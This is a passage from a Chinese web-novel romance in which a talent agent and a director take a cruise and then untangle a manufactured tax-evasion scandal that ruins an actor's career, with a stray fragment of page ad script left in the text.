舒誉宁当然是乐意的。只是苦了在家当留守男友的傅明宇。说好的三四天就回来，他连菜都买好了，还提前向海鲜市场的老板定了一条东星斑。结果便宜了千杉，她拎着鱼就跑了，连块鱼尾巴都没给他留。
“气死我了，她竟然这样对我！”
“知道了，回去我说她。”
视频里的傅明宇晃来晃去，可惜着那条东星斑，同时还不忘蛐蛐千杉。舒誉宁不厌其烦地哄着，回去她就得跟千杉说：“不要虐待‘留守老人’。”
“所以，你到底什么时候回来？”
“下个月开机了我就回来。”
“那你能赶上我们的杀青宴吗？”
舒誉宁算了一下时间，表示没问题。剧组现在多了200多号实习生，工作效率翻了几倍。根据傅明宇形容，他们每次看到图钧，都像人墙一样，把他死死围住。到现在，他连片场的外围都进不来，想给他们使绊子都不行。
“解气！等杀青了，我们包车，把他们送回来。”
“他们的事，我会负责的。就等着你回来呢。”
“乖啦，忙完你就能见到我了。”
终于挨到了开机那天，舒誉宁在H市的工作总算结束了。她走之前，还不忘嘱咐越天珑几句：“我先走了。这里有小林陪你，对你来说，有我没我也差不多。但是，节制一点。”
“你好烦。赶紧给我回去，千杉还吐槽呢，傅明宇现在天天给她脸色看。她等着你回去救她。”
走之前，赵启程特地在私下找了舒誉宁，问她对青禾的看法。
舒誉宁八个字评价：前途无量，未来可期。
“那你要不签了她？”
“我正有这个想法！只是她说，要先问你的意见。”
“我的意见就是，除了你，我谁都不放心。”
赵启程安排她们共事，也是这个用意。她见到青禾第一眼，就想把她介绍给舒誉宁。只是碍于青禾是个刚大学毕业，没什么经验的小姑娘，怕舒誉宁只是看在自己的面子上，接受她。所以，她想了办法，提前让她们熟悉彼此，相互磨合，等这个“试用期”结束了，再和舒誉宁谈签约的事情。
现在，舒誉宁的宁海一方里，有电影导演、电视剧导演、电影演员、电视剧演员，人数不多，质量却高。她低着头，看了一眼的自己手，把娱乐圈捏在自己的手心，原来是这个这感觉啊。
27. 第 27 章
“姐，你总算回来了！”
千杉看到舒誉宁回来，不停地倒着苦水。不就吃了傅明宇一条鱼，至于这样对自己吗？每天怨气十足，像个鳏夫。
舒誉宁忍不住纠正她：“我还活着呢。”
“反正就那个意思。总之，你回来了，傅导的情绪能稳定下来了。”
说到这儿，舒誉宁想起来。自己和傅明宇明明没有公开，怎么搞得所有人都知道他们在一起了？
“傅导哪儿是能藏得住事儿的人啊！特别是他面对路思舟的样子，像只胜利的大公鸡！”
傅明宇每天把“哥脱单了”这几个字写在脸上，谁看不出来？大家也都是看破不说破而已，估计全世界只有他自己觉得，瞒得可好了。
舒誉宁倒也不算意外。她本来就没指望傅明宇能瞒得多好。眼下，不管是工作还是生活，都让她很满意。如果傅明宇哪天要名分了，到时候再说，顺其自然吧。
热热闹闹的杀青宴上，这个一路波折的剧组，在这一刻彻底放下了隔阂。直到把200多个实习生送上车，一切终于恢复平静。
看时间也差不多了，舒誉宁本想和傅明宇一起回去，却看到不远处的路思舟。看样子是在等她。
“没安好心。”
傅明宇看他还是十分不爽，哪怕自己成功上位，对他的敌意也没有消失。
“他既然找我，肯定有事儿。你等我一下。”
哪怕舒誉宁这么说了，傅明宇还是不愿意放开她的手。舒誉宁静静地等着他，她知道，傅明宇不会这么不懂事。
果然，一分钟都没到，傅明宇便把手放开了。他告诉舒誉宁，如果路思舟图谋不轨，就拍下来，发网上去。
“明白的。我会让他有这个机会么？”
对啊！她舒誉宁是什么人，怎么可能让自己吃亏。放下心的傅明宇，拍拍她的肩，让她速去速回。
跟以前一样，路思舟请她上了自己的保姆车。上了车，他也不说话。他不说，那舒誉宁也没必要先开口。直到保温壶里姜茶都喝完了，路思舟才组织好语言。
“撕番这件事，我还是很抱歉。”
“既然解决了，在我这里就是翻篇儿了。我也希望你不要耿耿于怀。”
在娱乐圈这么久，舒誉宁悟出了一个生存之道——不管发生什么抓马的、离谱的事情，只要过去了，自己就要放下，千万别内耗。
“看样子，你和傅导在一起了。”
这才是他想说的吧？
见舒誉宁不回答，他接着说：“如果，我是说如果……随时可以找我。”
舒誉宁发现了路思舟一个新的赛道——古早狗血偶像剧里的痴男怨女。
“你想谈恋爱就去找人谈，没必要在我这儿浪费时间。”
“可我就是喜欢你，我有什么办法？”路思舟又恢复了先前玩世不恭的样子。不过现在，他到底是开玩笑还是真心的，舒誉宁也不在乎。
“说完了吗？说完了，我走了。”
这一次，路思舟没在送她，坐在原地，目送他离开。
回到傅明宇身边，他马上问舒誉宁，路思舟和他说了什么。
“他说我随时可以找他。”
“哼，小三，想得美！”
看上去，嫡导演要发卖庶男主了。舒誉宁懒得哄他，把他拖上了车，启程回家。
这一个夜晚，傅明宇等了一个月。这一次，他使劲浑身解数，就是为了让舒誉宁满意。结束后，舒誉宁懒洋洋地趴在枕头上，让傅明宇给自己抹身体乳。
这种事情，一回生，二回熟。跟一个月前相比，傅明宇确实脱胎换骨。
“能不想办法让你满意吗？”傅明宇感叹道，除了弥补上次他受挫的男士自尊心，还有她身边总是有一群虎视眈眈的绿叶。一想到那些“路思舟们”想尽办法给她献殷情，等着有朝一日被她“临幸”，一举飞升，他就气得牙痒痒。
对于这样的人，防，是放不住的。要的就是他自己努力，才能不被舒誉宁厌弃。
“阿宁，我们去度假吧。”
“上次不是去过海岛了吗？”
“上次带着一帮人，这次就我们俩。”
傅明宇打开手机里的预定单。他预定了一间豪华游轮的VIP套房，就等着舒誉宁点头。选择游轮有两个原因，一个是因为游轮省事。船上面吃喝玩乐都有，什么也不用操心。另一个原因，游轮上信号差，意味着没人打扰。他可不想难得的二人世界，还被闲杂人等破坏。
“去多久？”
舒誉宁拿过付明宇的手机，看着游轮的简介。
“就一个礼拜。”
时间也是傅明宇提前规划好的，太长的假期，舒誉宁肯定不会同意。
“好，这么定了。”
终于等到了傅明宇期待的二人游轮行，全程他跑前跑后，拿护照、提行李、换房卡。在巨大的游轮上绕了好久，两个人才找到自己的房间。
“愣着干嘛？开门啊！”
不知为何，明明都找到他们的房间了，傅明宇却迟迟不刷房卡。
“马上，马上。”
“嘀——”门终于打开了！
到底是VIP套房，房间的大小和一套三室两厅的住宅差不多。进门就是一个巨大的客厅，中间放着百寸大电视和真皮沙发。客厅外是个景观大阳台，可以将海景尽收眼底。再往里面走，则是他们的房间。打开房门，舒誉宁知道，他为什么紧张了。
床上放了一束玫瑰花，花束的四周还撒了玫瑰花。床单的中间用红色的花瓣写了“wee，Yu＆Ning”。
这是标准的，蜜月房的布置。
傅明宇一看，两眼一黑。他是定了房间布置，但也没让他们布置成这样啊！舒誉宁一定会质疑他的审美的！
“有点土……”舒誉宁如实评价，“不过，我喜欢！”
舒誉宁捧起床上的玫瑰花瓣，撒在傅明宇身上。傅明宇感受到自己的心跳如雷，他一把揽住舒誉宁，深深地吻了下去。
海风吹着窗帘，舒誉宁听着海浪的声音。原本撒在床上的玫瑰花瓣，散落
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了一地，一会儿还要叫人打扫。
傅明宇翻身下床，披了件睡袍，给她倒了杯水。
舒誉宁捧着水，抿了一口。她大概能预见，这个礼拜会是怎么过得了。
傅明宇再次爬上床，从背后搂住她，靠在她的颈窝：“在想什么？”
他的呼吸打在自己耳后，舒誉宁仔细想想，就算是这样过，也是挺好的。
“在想我们啊，回想我们俩这一路，还真是不可思议。”
一开始，他们都是彼此讨厌的类型。与其说是相识，不如说是各取所需的结盟。这么久以来，遇到了这么多人，遇到了这么多困难。两个人像打游戏一样，一路通关升级。慢慢的，真心代替了利益与算计。
舒誉宁为了与他合作，装作自己是了解他的知音。如今，她真的成了世界上最了解他的人。傅明宇从一身臭毛病的“艺术家”，变得逐渐体谅他人，去理解、去共情。
这何尝不是人生真正的艺术？
“阿宁，我爱你。”
傅明宇拍过看过很多经典电影，看到了很多很多古今中外的电影大师对爱情的诠释。那些台词和情节华丽之极，如今看来，什么语言都不如“我爱你”这三个字有力量。
“明宇，我也爱你。”
睡了一下午，他们一觉醒来，天都黑了。饥肠辘辘的两人，去自助餐厅大吃大喝了一顿。吃完了饭，还去了游泳馆，看了魔术秀。这一圈玩完，已经挺晚了。游轮上的娱乐项目也基本上关闭，游客们基本都回了房间，准备就寝。而睡了一下午的他们，生物钟已经完全紊乱，怎么也睡不着。
要是在别的地方，还能刷刷手机打发时间。然而游轮上信号太差了，最多只能发发文字消息。
“要不看个电影？”
舒誉宁靠在沙发上，拿着遥控器，翻着电视里的电影片单。
傅明宇也颇为无奈：“好像只能这样了。”
舒誉宁将片单一路往下滑，直到看到了一部经典老片——《傲慢与偏见》。
他们相视一笑，打开了这部电影。
这部电影太过经典，大概每个电影人都看过。
舒誉宁突然问傅明宇：“你猜我最喜欢哪个情节？”
“我猜，应该跟我喜欢的一样。”
他们默契地说出心里的答案：“雨中告白！”
那段可真是向爱人告白的反面教材！达西先生虽然深爱伊丽莎白，可是却囿于对她家人的成见。伊丽莎白有着自己的骄傲，这让她无法接受这份，在她眼里并不纯粹的爱。直到最后的清晨，他们放下傲慢与偏见，诉说对彼此的爱意。
电影终会落寞，但经典永存。
看完了电影，舒誉宁问傅明宇：“你说是爱让人放下傲慢与偏见。还是放下了傲慢与偏见，再去爱？”
“我还第一次思考这么哲学的问题。你说简·奥斯汀知道这个问题的答案吗？”
她知不知道，好像已无存知晓。
不过管他呢，爱都爱了，什么时候爱、怎么爱，都远不及爱本身重要。
28. 第 28 章
在船上的这几天，舒誉宁算是明白了长辈嘴里说的“虚度光阴”是什么意思。刚上船的几天，她和傅明宇对船上的游乐设施很感兴趣，四处打卡。劲头一过，则是每天躺到中午，餐食也是叫的送餐服务送到房间门口。
不过，真到了下船的时候，舒誉宁又舍不得。对于他们的职业来说，这种生活可遇不可求啊。
还有三个小时，船就要靠岸了。傅明宇在房间里反复检查着行李，再三确认有没有遗落的物品。
除了赖在沙发上那个。
他拍拍舒誉宁的背，告诉她，都差不多了，该准备回去了。
“不想回去。我愿意一辈子呆在这里。”
也不知道谁这几天一直在喊无聊。
“下次我们订长一点的航线，好不好？”
“也不知道什么时候了。”
舒誉宁一想到回去后，面对的又是无止境的工作。每天在一群妖魔鬼怪当中，和他们斗智斗勇。耗神又费力。
再漫长的度假时光，也有结束一刻。下了船的舒誉宁，一步三回头，看着身后这艘庞然巨物。傅明宇被她这个依依不舍的样子，可爱到了。揉揉她的脑袋，哄了一会，便带她上了车。
一回到陆地上，恢复正常的信号的手机便响个不停。这些声音都在提醒舒誉宁——别想了，该上班了。
舒誉宁打开手机，滑动着各个社交平台，恶补最近错过了的娱乐圈动态。
她在热搜帮上看到这么一条——
【爆：某实力派小生疑似陷入财务纠纷：据知情人士爆料，该小生路人缘极佳、圈内口碑高、实力派、当下圈内第一待爆咖，有多部待映作品在手。如果此次消息为真，恐怕这些作品都会无限期推迟。】
这种八卦是热搜常客，几乎每天都有，用词也来来回回就这么几个。
舒誉宁往下滑，看到了网友们的评论。
【不说名字，一律按假料处理。】
【待爆咖？不就是糊咖吗？论糊咖的108种挽尊方式。】
【卧槽！这个瓜我也听说了，我朋友是圈内人，亲口跟我说的！】
这个评论下面，一群人跟着回复：【姐妹，展开说说。】
当然，也有人反驳的：【天天“我朋友”“我亲戚”“我七大姑八大姨”是圈里人，合着他们都不会上网，要你来当传话人呗。】
【就是就是，看似听说，实则造谣。】
舒誉宁正准备退出的时候，评论区出现了一条新评论：【不会是LSZ吧？】
她刚想切成小号去问个究竟时，这条评论竟然被秒删了！
有猫腻！
没有这条评论，舒誉宁说不定看过就忘了。但偏偏出现了这条评论，还偏偏，秒删了！
虽说，娱乐圈里，姓名缩写为LSZ的小生不少，但同时符合“路人缘极佳”“实力派”“待爆咖”这几个关键词的LSZ，在舒誉宁的认知里，有且只有一位。
见她脸色不对，傅明宇关心她：“怎么了？心事重重的。”
“就是觉得落下的工作有点多，不知道该从哪里开始补。”
这种八卦还没有任何实质的指向，舒誉宁不能先把自己的猜测说给他听，以免他多心。
她只能在心里祈祷：希望这次的八卦像往常一样，雷声大雨点小，无事发生。
正所谓怕什么，来什么。半个小时都没到，路思舟的大名就这么堂而皇之地登上了热搜第一。
大概内容就是，他涉嫌制作“阴阳账本”，用虚开发票的方式，偷税漏税，总计金额逾百万。
网友们看到这样的消息，自然闻风而动。
【这些208w，都赚这么多了，也不知道交税！】
【不想看到这些208w，能不能封杀？】
【有种讨厌的人终于被发现的爽感！】
这些网友，一口一个抵制208W，可是每当他们嘴里的208w有一点风吹草动，他们比谁都冲在前面。
这种消息传得很快，剧组的工作群一下就弹出了999+条消息。一大部分都是艾特她的，问她下一步该怎么处理。
她能怎么处理啊？只能先安抚大家的情绪。
【大家稍安勿躁，事情还没确定呢。我先联系他们团队，具体的，我们商议以后会告诉大家。】
现在，傅明宇也看到这个消息了。想必他作为导演，应该很崩溃。
他问舒誉宁：“如果是真的，我的电影是不是就放不了了？”
“可以找人重拍。”
但是重拍哪是这么容易的？从演员阵容官宣开始，这个演员的名字就是这部作品绑定在了一起。路思舟如果被封杀了，这部电影也就被软封杀了。
谁会接这么一个烫手山芋？不嫌晦气啊！
不过，舒誉宁发现，这么重大的事情，并没有出现任何的官方文件。甚至，连份盖了公章的文件都没有。
没有出现这些东西，就意味着还有转机。
舒誉宁赶紧打了路思舟的电话。结果，关机。
她再打给图钧——忙音。
然后是他的工作室、他的经纪公司，包括吴董的电话，全打了个遍，没一个能打通的。不知道现在到底是怎么回事，但如果他的经纪公司是抱着冷处理的态度去面对这个问题，那么所有人都跟着完蛋。
究竟发生了什么、怎么解决，要找到路思舟本人才行。问题是，他住哪儿啊？舒誉宁突然有点后悔，在他上次邀请自己去他家的时候，自己应该去的，不然也不至于现在像只无头苍蝇一样，找他人都没地儿找。
有了！舒誉宁灵光一闪。
她发傅明宇一个定位，跟他说，先去这里碰碰运气。傅明宇一看，是家日料餐厅。怎么在这儿去找路思舟呢？
“路思舟是这家餐厅的常客，约我也是去这家吃饭。”
“……”
看得出来，傅明宇有些抵触。不过他明白大局为重，一脚油门，往这个地址奔去。
舒誉宁一进门，便看到吧台前落寞得喝着清酒的路思舟。主厨看到舒誉宁的一瞬间，很惊喜。然而，看到她后面跟着的傅明宇后，表情一下转变为惊讶，最后，变成深深的疑惑。
他问路思舟：“怎么回事？”
路思舟不在乎地耸耸肩：“就是你看到的这样。他们才是真正的情侣。”
主厨：“心机拉乃！”
舒誉宁听不懂他们在说什么，但是听他们的语气，也大概能猜到他们对话的内容。不过，她现在可没心情在乎这个。
“一起喝点？”
路思舟拿了两个杯子，给舒誉宁和傅明宇倒上。
舒誉宁把杯子拿开，她可不是来找路思舟喝酒的。
“到底怎么回事儿？”
路思舟放下杯子和筷子，转过身，看着他们：“你们信我么？”
“你要先告诉我们发生了什么，我们才能去考虑，信或者不信。”
路思舟并没有正面回答舒誉宁，而是跟傅明宇聊了起来：“傅导，趁这个机会，你正好可以换个男主。也算因祸得福。”
要不是他一副自暴自弃的模样，傅明宇绝对揍他一顿。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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“路思舟，你现在说这种话，不觉得可笑吗？”
生怕他俩吵起来，舒誉宁横在他们之间，隔开了他们。主厨的中文再怎么差，三个人之间紧张地气氛还是看得出来的。他找了个借口，便躲进了后厨房。现在，餐厅里就他们三个人。
舒誉宁耐着性子，给路思舟解释其中的利害：“你要明白，既然我们一起拍戏，那我们就是一根绳上的蚂蚱。不是换个男主，这件事就解决了。换做你，你会去一个主角出过事的剧组里，当接盘侠吗？”
自然是不会的。路思舟说这话，也不是真的想让傅明宇换个男主。只是在这个情况下，他不知道该说什么、做什么。
见路思舟这里问不出什么，舒誉宁干脆换了个问法：“图钧怎么跟你交代的？”
“他让我这段时间哪儿也别去，也别回应，他会解决的。”
乍一听，图钧这么说是没什么问题。但是，到现在，过去一个多小时了，这件事除了发酵地越来越厉害，各种猜测越来越多以外，并没有什么实质性的解决和进展。路思舟是图钧的摇钱树，他看路思舟跟看眼珠子似的，怎么可能一点动作也没有？
舒誉宁的直觉告诉她，这件事，图钧脱不了干系。
“你的财务平常谁在管？图钧吗？”
“嗯，他会联系会计师团队，每个月过一次账。”
大部分艺人的账目流程都是这个样子的，包括舒誉宁手里的艺人。财务工作向来是繁琐、专业的活计，没有过专业的训练，是做不了这种差事的。舒誉宁也是当了经纪人以后，才去报了个财务管理的培训班，了解了一些财务的知识。就算到了她这种程度，大部分的工作还是需要专业的会计师负责。而艺人，只需要每个月在相关文件上签下自己的名字就行。
这个时候，bug就来了。艺人又看不懂这些文件，签字的时候往往看都不看。如果有些人想要运作，就会在这个时候给艺人埋雷。
能做到这点的，就两种可能：一个是路思舟、图钧，他们整个团队都被会计师坑了。另一种，就是路思舟被图钧坑了。
被会计师坑的概率并不高。人家手上的VIC多得很，随便一个单子的佣金就是天价，没必要为了这点钱搭上自己的前程。至于图钧……舒誉宁找不到他坑路思舟的理由。路思舟出事了，难道图钧能置身事外？
“图钧联系的是哪家会计师事务所，你总知道吧？”
“知道。”
路思舟在手机翻了翻，把联系人推给了舒誉宁。舒誉宁查了一下，这是一家在业界颇有地位的大所。
“行了，你慢慢喝，我们先走了。”
在他们踏出门口的一刻，舒誉宁听到身后，路思舟对他们说：“阿宁，傅导，谢谢你们。”
舒誉宁背对着他挥了挥手，挽着傅明宇离开了。
车上，傅明宇问舒誉宁，下一步该如何打算。
“不知道，得先找到图钧。没有他的授权，会计师不可能把账目拿出来的。问题是，我找了一圈狗仔、记者，没人找得到他。这么大个人，人间蒸发了。”
傅明宇脑海里闪过很多□□电影的桥段——如果当一个人陷入经济纠纷却失联了，那么一般情况下，说明这个人卷款逃跑了。
不过电影还是电影，得回归实际情况。见舒誉宁这么急，他也想做点什么。
“要不，你去查查，放出消息的这个人？”
舒誉宁一拍大腿，她怎么把这茬忘了？
趁着红绿灯，舒誉宁凑过去，在傅明宇脸上响亮地亲了一口：“明宇，我太爱你了！”
29. 第 29 章
找个狗仔，查一下消息来源还是很快的。活跃在微博这类社交平台的MCN机构，也就这么几个。没一会儿，舒誉宁便找到了发布消息的营销号。
营销号皮下不愿意出面，只告诉了舒誉宁，这条消息的来源是来自他们收到的一份匿名邮件。与邮件同时转来的是一笔50万汇款。舒誉宁也表示理解，每个行业都有相应的规则，对方愿意透露这些，已经是很大的让步了。
傅明宇不理解，这种没经过证实的消息，营销号怎么也敢发，不怕被告吗？
“求证消息的真实性，不是他们的活。”
正所谓“造谣一张嘴，辟谣跑断腿”，而且营销号最擅长春秋笔法，全程没说一句假话，但是给出的信息却又很强的引导性。爆料说的是，路思舟深陷财务纠纷，其余的所有内容，都只是“涉嫌”。至于给他“定罪”的，是网友，不是营销号啊。
傅明宇对这种行为嗤之以鼻：“为什么这些营销号还能活着？”
“这就是娱乐圈的生态问题。”说实话，舒誉宁也觉得这种生态圈子很畸形。只是有句话说得好，存在即合理。艺人需要营销号来获得曝光，观众需要营销号来获得消遣。这三方的关系就以这样畸形却和谐的样子，相互汲取养分。
这么一条消息，竟然值50万，看来是有人想搞路思舟。对方来势汹汹，可见，这件事不能拖。公关学里有个词叫“黄金72小时”。一旦超过72小时，这件事还没有结果，那么路思舟是不是真的有罪，已经不重要了。因为，他注定要出局。
当务之急，还是要找到图钧才行。路思舟给了舒誉宁，图钧家的地址。舒誉宁去过了，没找到。狗仔那边也是不停地在找他，但还是没消息，那么现在他最有可能去的地方是……舒誉宁看着手机里，那个会计师事务所的信息，心里有了答案。
“你好，两位有预约吗？”
刚进门，他们便被前台拦下了。这种事务所，都是预约制，没有预约是进不去的。所幸，舒誉宁早有准备，她拿出了路思舟提前发给她的委托信：“我是路思舟先生的财务代表，有些东西要找贵所核实。”
前台很疑惑，翻着访客记录：“路先生的代表已经来了，请问二位……”
图钧果然在这里。
“谢谢！”舒誉宁趁前台不注意，直直地往里冲。终于，在VIP接待室，她见到了图钧。
图钧被舒誉宁和傅明宇的突然闯入吓得不轻，很快，恢复镇定：“你怎么知道我在这儿？”
“我只是用一个经纪人的视角去分析而已。”手里的艺人在财务方面有问题，作为经纪人，不是在和公关团队接洽，商讨危机公关的处理，就是找财务团队查账。很显然，以热搜的发酵速度，图钧并没有对接公关团队，那么可能性就剩一个了。
“厉害。”图钧是真的佩服她了。
“现在也不是夸我的时候。你消失了这么久，查得怎么样了？”
现在的图钧也没必要再对舒誉宁有所隐瞒，他把厚厚的材料往桌上一摊：“问题就在于，没有问题。”
舒誉宁也没空看这些东西，她反问图钧：“得罪人了？”
“我得罪的人多了，比如你。”
在娱乐圈里混，谁不会得罪几个人？娱乐圈里，做局害人这种事，也几乎每天都在发生。前一天还好好的，在拍戏唱歌的大明星，第二天就能沦为过街老鼠，人人喊打。不过一般来说，像图钧这样的经纪人，有仇人，自然也会有靠山。仇人会做局搞他，同样的，靠山会出面保他。更何况，他们背后还是大鹅影业的吴董。
对了，吴董呢？
舒誉宁才想起来，她联系过吴董，吴董也处于失联状态。她一直把目光放在图钧身上，竟忽视了吴董。
“吴董怎么跟你说的？”
“没……”图钧刚说了一个字，就没声音了。这么说来，他也是才发现，吴董的消失，是整件事最蹊跷的地方。
资本向来无情。吴董费尽心思捧路思舟，给他灌资源，可是到现在，连个电影一番他都撕不下来，还让他在赵启程面前丢了这么大的人。恐怕在吴董心里，路思舟早就是一枚弃子了。再者，因为撕番的事情，舒誉宁和傅明宇也算是把吴董得罪了个彻底。他这么做，既能搞糊路思舟，还能把电影折腾没。这样一算，这50万，物有所值啊。
“行了，你也别浪费时间了。赶紧想办法找到吴董，我去联系公关，把这件事的扩散减小。提醒你，记得报案。”
图钧不明白，舒誉宁为什么会来帮他们。
“我不是帮你们，我是在自救。”
图钧点点头，他明白舒誉宁所说的。他有些犹豫，似乎还有话想说，他看了傅明宇一眼。舒誉宁瞬间明白了这一眼的含义。她示意傅明宇先出去，自己来应付他。
“有什么话是他不能听的？”
“这次的事情，可能我和思舟的合作也到此为止了。他是个好孩子，我希望你能签下他。”
“不可能。”
舒誉宁直接拒绝了图钧的请求，但显然，图钧还想在争取一下。
“是因为傅导吗？”
“跟他没关系。路思舟他……不符合我们公司的调性，你明白我意思吧？”
舒誉宁自己都没想到，自己有朝一日，也会用上“调性”这种模棱两可的词。见她态度坚决，图钧也不好多说什么。
回去的路上，傅明宇问舒誉宁，图钧刚刚跟她说了什么，是不是让她签下路思舟。
“你怎么知道？”
“他一个经纪人，能跟你说什么呀。而且还是我不能听的话题。你拒绝他了？”
“嗯。路思舟这人心思深，长期合作，没这个必要。”
说起来，傅明宇还是有些担心，这件事的后续处理。图钧去和吴董硬碰硬，不像能碰出什么令人满意的处理结果。而且，图钧都在把路思舟托付给舒誉宁了。这种话，怎么听怎么像“交代遗
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言”。
“所以，我提醒他，要报案。”舒誉宁和他们最大的区别就是，在关键时刻，她懂得跳出娱乐圈视角看问题。
既然现在图钧已经知道该做什么了，舒誉宁再插手就不合适了。她本来也不想再管，她只想回家，在自己斥巨资买的智能按摩床垫上，好好躺一会儿。
刚到家，舒誉宁就收到了一个快递。打开一看，里面是一条小臂这么长的东星斑，和一只张牙舞爪的帝王蟹。不用看寄件人的名字，她都能猜到这是谁送的。
“明宇，千杉给你赔罪来了。”
傅明宇闻声，过来接过她手中的快递。看得出来，他对千杉付的这个利息，还是满意的。
他走进厨房，穿上舒誉宁特意给他定做的，印有“上得片场，入得厨房”的围裙，挽起袖子，将它们处理好，然后一一送进蒸箱。
“现在你可以不用生她气了吧？这一个月，她心理压力很大。而且，听她说，这鱼本来就是你送给她吃的啊。”
“那我也没让她整条拿走啊。”
他想的是，一个人吃不下这么大一条鱼，打算分给千杉一点。也不知道是他没表达清楚，还是千杉理解错了。不过这也不是这条鱼的问题。说到底，还是因为舒誉宁不在他身边。如果舒誉宁在，千杉就是吃了10条，傅明宇照样乐呵呵的。
原来傅明宇的本性并没有什么改变，还是那样龟毛和拧巴。只有舒誉宁在，他才会正常一些。
终于，海鲜大餐上了桌。傅明宇记得，舒誉宁在游轮上，很喜欢那里的海鲜蘸料。傅明宇特地去请教了大厨，再加上他自己琢磨的佐料，调了份升级版。
舒誉宁掰着帝王蟹的蟹腿，大快朵颐：“说真的，你要是不做导演，可以去开餐厅。”
“不要，我只给你做饭。”
“说得也是。我还是更喜欢你当导演。”
舒誉宁跟他说，下一届首都电影节的评奖报名马上就要开始了。首都电影节是国内历史最悠久、影响力最大、最权威的电影盛典。她想过了，到时候把《浪潮》报上去。她有信心，最佳女主角、最佳导演、最佳影片、最佳摄影这几个奖项，他们至少能拿到提名。首都电影节以后，下一步就去国际电影节，要让他们的电影被世界看到。
“你可能不明白。但是对于我来说，评价一件事做得好不好。收入和奖项就是最重要、最客观的评判标准。又不是痴人说梦，为什么不敢把野心放大一点。”
正如舒誉宁所说，傅明宇确实不是一个在乎奖项的人。但是他爱极了舒誉宁野心勃勃的样子，她看上去，整个人都在发光。
“为什么这种颁奖典礼都不设置一个‘最佳经纪人’奖？明明我们的经纪人，才是功劳最大的那个人。”
“所以你们要拿奖。要在获奖感言里提到我，这样我的努力才没有白费！”
“一定会的！”
既然这是舒誉宁想要的，那么傅明宇就会全力以赴。
30. 第 30 章
听了舒誉宁建议的图钧，这件事很快便有了处理结果。他代表路思舟的工作室，发了一条公告。公告里给大众的理由是：是因为他们在财务流程上没衔接好，都是误会。以后必定引以为戒，不再发生类似的事情。明明不是他们的错，但还是咬着牙，背下了这口大黑锅。
经过这几天各种热搜的轮番轰炸，路思舟积累多年的观众缘已经荡然无存，粉丝跑了大半，后续的资源也熔断了。
简而言之，他回去做素人了。
傅明宇看到这样的结果，不禁感到彻骨的寒意。一盆脏水，竟然淹死人。
“那吴董呢？”他迫不及待地问舒誉宁。这件事，是他一手策划的，难道他没有个处理结果？
“没有。他还是大鹅影业的吴董，这件事不会对他有任何影响。”如果这种事能影响到他，那他也爬不到董事这个职位。
虽然傅明宇对这样的结果已经有了心理准备，但听到的那一刻，他还是愤怒、难过。
这便是资本的力量。资本们在娱乐圈里翻手为云、覆手为雨。路思舟只是没拿下一部电影的一番男主而已，竟然就这么被抛弃了。抛弃他也算了，还要毁掉他。
“其实他是个好演员。”傅明宇如是说。在和路思舟合作的几个月里，傅明宇能看到他身上的专业和对表演的热忱。抛开私人原因，能和他这样的演员合作，傅明宇感到很荣幸。
“但他不是颗好棋子。并且，吴董这样做，要的是我们陪葬。”
有了赵启程这层关系，吴董不会明面上整舒誉宁他们。但是这个仇，他不会不报。所以，对路思舟出手，是最好的选择。要不说，资本家心狠手辣。除了他们这部电影，路思舟手里还有一些待播剧，通通都会因为这件事赔进去。
但是资本不在乎。
眼下能保住这部电影，他们已经极其幸运了。只是舒誉宁规划的后续宣发方案，全部得推翻，一切都得低调。
傅明宇为路思舟感到可惜：“你的意思是，这部电影，会是路思舟最后一部作品。”
“我也不希望。”
但现在看来，确实是这样。
舒誉宁穿上外套，拿上车钥匙，跟傅明宇说，她要出去一趟。
傅明宇点点头：“帮我向他问好。”
哪怕舒誉宁什么也没说，傅明宇也知道她想去看看路思舟。不知不觉，他们现在这么有默契了。
舒誉宁是在一家小剧场找到路思舟的。现在，小剧场里还没有观众，只有几个工作人员和演员，他们在为即将到来的演出做准备。路思舟在舞台上，检查着每一样道具。他看起来心情很好，似乎并没有因为眼下的事情影响到心情。
“阿宁！”
路思舟跟她打招呼。舒誉宁冲他挥挥手，在观众席找了个空位坐下。路思舟让她等一会儿，自己这里马上就忙完了。
“喏，请你喝。”
忙完的路思舟，递给舒誉宁一罐可乐。“呲——”哪怕知道这个东西不健康，但在听到气体从罐口里挤出来的声音时，还是如此的幸福。
路思舟喝了满满一大口，可乐的气体堆积在喉咙口，刺激得他面目狰狞。
“啊，爽！”
自从出道以来，路思舟再也没喝过可乐。图钧给他找了专业的营业师，每天的饮□□准到克。
健康、营养、寡淡无味。
“看来我的担心是多虑了。”舒誉宁也像他一样，喝了一大口，“啊，爽！”
“也不算多虑，我确实消沉了一段时间。”
那几天，路思舟天天呆在那家日料店里喝酒，主厨都看不下去了，把店里的酒全收了起来，不许他再这么消沉下去。
网上各种嘲讽和污蔑，他一条不落地看。他一直觉得自己的心理素质挺好的，直到真有事，才发现自己不堪一击。
“网上有些评论说得很对，我就是太顺了。而且，我也确实挺‘普’的。”
“普”是近几年饭圈出现的新兴词汇，单单一个字，能囊括粉丝或者是观众，对艺人很多方面的评价。长相不够好看，普。实力不够出色，普。或者，我说你普，那你就是普。
以前有吴董和图钧的保驾护航，路思舟听到的都是好话。他们给他灌了很多资源，一开始，他也会担心，自己能不能做好。但时间久了，他渐渐觉得，这些资源那是自己应得的。
比如这部电影，他从一开始就知道了撕番这个计划。他是默认的，哪怕他也知道这样不对。顺境会麻痹人的大脑和判断，会让人在潜意识里认为，明明是恩赐之物，却误以为是自己的理所应当。
直到有一天，他站在镜子前，镜子里的自己没有刮胡子，没有精致的妆发和昂贵的衣服。这是他原本的样子。
在这一刻，他醒悟了。他接纳了自己的“普”。
“图钧哥第一次和我见面的时候，就是在这里。”
那是他的毕业演出，他和同学们包了这么一家小剧团，在这里演出经典话剧《四世同堂》。他演的是一个黄包车夫，就这么一个不起眼的角色，让台下的图钧记住了他。
他回忆，演出还没结束，图钧便来了后台找到了他。他虽然很高兴能得到经纪人的赏识，但是他还是更爱话剧。后来，图钧把他引荐给吴董，成了吴董手里力捧的小生。
演话剧，是路思舟自己坚持的。图钧拗不过他，便和吴董商量，让他在话剧舞台上镀镀金也好，以后走主流演员路线，说出去也好听。
“为什么大家都这么认为？话剧舞台，不应该是镀金的地方。”
娱乐圈是有鄙视链的，演员高于歌手，歌手高于偶像。而演员又分电影演员和电视剧演员，彼此泾渭分明，话剧演员则是金字塔的顶端。可明明，愿意花钱花精力看话剧的人，少之又少。
“可能是因为大家对小众艺术，自带滤镜。所以，你现在，打算回归话剧舞台了？”
“嗯，来到这儿，我轻松多了。”他晃晃手中喝空了的易拉罐，“还没人管我喝可乐。”
